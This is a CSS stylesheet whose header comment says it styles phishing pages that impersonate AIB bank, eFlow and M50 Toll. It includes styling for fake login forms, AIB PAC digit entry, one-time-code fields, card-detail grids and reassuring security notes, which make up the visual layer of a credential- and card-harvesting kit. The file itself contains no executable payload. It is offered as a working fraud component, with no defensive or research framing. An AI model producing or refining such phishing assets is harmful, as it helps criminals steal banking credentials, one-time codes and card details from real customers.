/*
 * style.css
 *
 * This stylesheet provides a consistent, high-fidelity design
 * for phishing pages mimicking AIB, eFlow, and M50 Toll.
 * It centralizes common UI patterns, branding elements, and responsive behaviors.
 *
 * Specific brand colors and logo URLs are defined as CSS variables in the :root
 * and can be overridden in individual HTML files to maintain precise brand identity.
 */

/* --- ROOT CSS VARIABLES (Defaults to AIB-like values) --- */
:root {
    --primary-brand-color: #0056b3; /* Default: AIB's primary blue */
    --primary-brand-dark: #004599; /* Default: Darker AIB blue for hover/active */
    --background-color-light: #f0f2f5; /* Default: Light grey for body background */
    --background-color-white: #ffffff; /* Default: White for card backgrounds */
    --border-color-light: #e0e0e0;
    --border-color-medium: #ddd;
    --text-color-dark: #333;
    --text-color-medium: #555;
    --text-color-light: #777;
    --error-color-red: #d8000c;
    --error-background-light: #fdd;
    --security-note-background: #e6f2ff; /* Light blue for security messages */
    --security-note-border: #cce0ff;
    --border-radius-sm: 4px;
    --border-radius-md: 8px;
    --transition-speed: 0.2s ease;
    --font-family-primary: 'Open Sans', Arial, sans-serif;
}

/* --- GLOBAL RESETS & BASE STYLES --- */
* {
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

html, body {
    height: 100%;
}

body {
    font-family: var(--font-family-primary);
    background-color: var(--background-color-light);
    color: var(--text-color-dark);
    display: flex;
    flex-direction: column;
    min-height: 100vh; /* Ensure full viewport height */
    line-height: 1.6;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

a {
    color: var(--primary-brand-color);
    text-decoration: none;
    transition: color var(--transition-speed);
}
a:hover {
    color: var(--primary-brand-dark);
    text-decoration: underline;
}

/* --- HEADER --- */
.header {
    background-color: var(--background-color-white);
    padding: 15px 20px;
    border-bottom: 1px solid var(--border-color-medium);
    text-align: center;
    display: flex;
    justify-content: center;
    align-items: center;
    min-height: 70px;
}

.header .logo img {
    max-width: 130px; /* Default logo size, can be overridden by specific HTML */
    height: auto;
    vertical-align: middle;
}

/* --- MAIN CONTENT WRAPPER --- */
.main-content-wrapper {
    flex-grow: 1;
    display: flex;
    justify-content: center;
    align-items: flex-start; /* Default alignment, can be centered for loading pages */
    padding: 40px 20px;
    background: linear-gradient(to bottom, var(--background-color-light) 0%, var(--background-color-white) 100%);
}

/* --- CONTAINER (Card-like structure for forms/messages) --- */
.container {
    background-color: var(--background-color-white);
    padding: 40px;
    border-radius: var(--border-radius-md);
    box-shadow: 0 6px 20px rgba(0, 0, 0, 0.15);
    width: 100%;
    max-width: 450px; /* Standard width for login/OTP forms */
    text-align: center;
    position: relative;
    box-sizing: border-box; /* Ensure padding is included in width */
}

/* --- TYPOGRAPHY --- */
h1 {
    color: var(--primary-brand-color);
    font-size: 28px;
    margin-bottom: 15px;
    font-weight: 700;
    letter-spacing: -0.5px;
}

p {
    margin-bottom: 15px;
    line-height: 1.6;
    font-size: 15px;
    color: var(--text-color-medium);
}

.intro-text {
    font-size: 15px;
    line-height: 1.5;
    margin-bottom: 25px;
    color: var(--text-color-medium);
    text-align: left;
}
.intro-text strong {
    font-weight: 600;
    color: var(--primary-brand-dark);
}

.instruction-text, .security-advice {
    font-size: 13px;
    margin-top: 20px;
    color: var(--text-color-light);
    line-height: 1.4;
}

/* --- FORM ELEMENTS --- */
form {
    text-align: left;
}

.form-group {
    margin-bottom: 20px;
}

label {
    display: block;
    margin-bottom: 8px;
    font-weight: 600;
    color: var(--text-color-dark);
    font-size: 14px;
}

input[type="email"],
input[type="password"],
input[type="text"],
input[type="tel"],
select {
    width: 100%; /* Changed from calc(100% - 20px) for better standard practice */
    padding: 13px 15px;
    border: 1px solid var(--border-color-medium);
    border-radius: var(--border-radius-sm);
    font-size: 16px;
    color: var(--text-color-dark);
    background-color: #fcfcfc;
    box-shadow: inset 0 1px 2px rgba(0,0,0,0.05);
    transition: border-color var(--transition-speed), box-shadow var(--transition-speed);
    box-sizing: border-box; /* Ensure padding is included in width */
}

input:focus,
select:focus {
    border-color: var(--primary-brand-color);
    outline: none;
    box-shadow: 0 0 0 3px rgba(0, 86, 179, 0.25); /* Adjusted blue for focus ring */
    background-color: var(--background-color-white);
}

input::placeholder,
select::placeholder {
    color: #a0a0a0;
}

/* Specific styling for OTP input */
input[type="tel"][pattern="[0-9]{6}"] {
    text-align: center;
    letter-spacing: 2px;
    font-size: 20px;
    font-weight: 600;
}

/* PAC Input Group (for AIB login) */
.pac-input-group {
    display: flex;
    justify-content: center; /* Center the PAC inputs */
    gap: 10px; /* Space between inputs */
    margin-bottom: 20px;
}
.pac-input-group .pac-digit {
    width: 50px; /* Fixed width for each digit */
    height: 50px; /* Make them square */
    text-align: center;
    font-size: 22px;
    font-weight: bold;
    border: 1px solid var(--border-color-medium);
    border-radius: var(--border-radius-sm);
    box-shadow: inset 0 1px 2px rgba(0,0,0,0.05);
    transition: border-color var(--transition-speed), box-shadow var(--transition-speed);
}
.pac-input-group .pac-digit:focus {
    border-color: var(--primary-brand-color);
    outline: none;
    box-shadow: 0 0 0 3px rgba(0, 86, 179, 0.25);
}

/* Card Details Grid (for card_registration) */
.card-details-grid {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 15px;
    margin-bottom: 20px;
}
.card-details-grid .form-group {
    margin-bottom: 0; /* Remove extra margin */
}
.card-details-grid .full-width {
    grid-column: 1 / -1; /* Make full width for card number and address */
}

/* Forgot Password Link (for login pages) */
.forgot-password-link {
    text-align: right;
    margin-top: -10px; /* Pull up to align with form group */
    margin-bottom: 20px;
    font-size: 13px;
}

/* --- BUTTON STYLING --- */
.button-primary {
    background: linear-gradient(to bottom, var(--primary-brand-color) 0%, var(--primary-brand-dark) 100%);
    color: var(--background-color-white);
    padding: 15px 25px;
    border: none;
    border-radius: var(--border-radius-sm);
    font-size: 17px;
    font-weight: 700;
    cursor: pointer;
    transition: background-color var(--transition-speed), transform 0.1s ease;
    width: 100%;
    margin-top: 20px;
    box-shadow: 0 2px 6px rgba(0, 86, 179, 0.3);
    display: flex; /* For spinner alignment */
    align-items: center;
    justify-content: center;
    gap: 10px;
}
.button-primary:hover {
    background: linear-gradient(to bottom, var(--primary-brand-dark) 0%, #003a80 100%);
    transform: translateY(-1px);
}
.button-primary:active {
    transform: translateY(0);
    box-shadow: 0 1px 3px rgba(0, 86, 179, 0.3);
}
.button-primary:disabled {
    background: #a0c0e0;
    cursor: not-allowed;
    box-shadow: none;
    transform: none;
}

/* Resend OTP Link */
.resend-otp-link {
    display: block;
    margin-top: 15px;
    font-size: 14px;
    color: var(--primary-brand-color);
    text-align: center;
    cursor: pointer;
    transition: color var(--transition-speed);
}
.resend-otp-link:hover {
    color: var(--primary-brand-dark);
    text-decoration: underline;
}
.resend-otp-link.disabled {
    color: var(--text-color-light);
    cursor: not-allowed;
    text-decoration: none;
}

/* --- MESSAGES & INDICATORS --- */
.error-message {
    background-color: var(--error-background-light);
    color: var(--error-color-red);
    border: 1px solid var(--error-color-red);
    padding: 12px 15px;
    margin-bottom: 20px;
    border-radius: var(--border-radius-sm);
    font-size: 14px;
    text-align: left;
    display: flex;
    align-items: center;
    gap: 10px;
}
.error-message svg {
    fill: var(--error-color-red);
    width: 18px;
    height: 18px;
    flex-shrink: 0;
}

.security-note {
    font-size: 13px;
    color: var(--text-color-medium);
    margin-bottom: 25px;
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 8px;
    background-color: var(--security-note-background);
    border: 1px solid var(--security-note-border);
    padding: 10px 15px;
    border-radius: var(--border-radius-sm);
}
.security-note svg {
    fill: var(--primary-brand-color);
    width: 18px;
    height: 18px;
    flex-shrink: 0;
}

/* Loading Spinner */
.loading-spinner {
    border: 4px solid rgba(255, 255, 255, 0.3); /* For button spinner */
    border-top: 4px solid var(--background-color-white); /* For button spinner */
    border-radius: 50%;
    width: 20px;
    height: 20px;
    animation: spin 1s linear infinite;
    display: inline-block; /* Hidden by default for button, inline-block for loading.html */
    vertical-align: middle;
}
.loading-spinner.page-spinner { /* Specific for full page loading spinner */
    border: 5px solid #f3f3f3;
    border-top: 5px solid var(--primary-brand-color);
    width: 60px;
    height: 60px;
    margin: 0 auto;
    display: block;
}

@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

/* --- FOOTER --- */
.footer {
    background-color: var(--background-color-light);
    padding: 25px 20px;
    text-align: center;
    font-size: 12px;
    color: var(--text-color-light);
    border-top: 1px solid var(--border-color-medium);
    margin-top: auto;
}
.footer-links {
    margin-top: 15px;
    display: flex;
    flex-wrap: wrap;
    justify-content: center;
    gap: 0 15px;
}
.footer-links a {
    color: var(--primary-brand-color);
    text-decoration: none;
    white-space: nowrap;
    padding: 5px 0;
}
.footer-links a:hover {
    text-decoration: underline;
}

/* --- RESPONSIVE ADJUSTMENTS --- */
@media (max-width: 768px) {
    .main-content-wrapper {
        align-items: flex-start;
        padding-top: 20px;
    }
    .container {
        margin: 20px auto;
        padding: 30px 25px;
        max-width: 95%;
    }
    h1 {
        font-size: 26px;
    }
    .button-primary {
        min-width: unset;
        font-size: 16px;
    }
    .footer-links {
        flex-direction: column;
        gap: 5px;
    }
    .card-details-grid {
        grid-template-columns: 1fr; /* Stack card details on small screens */
    }
    .pac-input-group .pac-digit {
        width: 40px;
        height: 40px;
        font-size: 18px;
    }
    .loading-spinner.page-spinner {
        width: 50px;
        height: 50px;
        border-width: 4px;
    }
}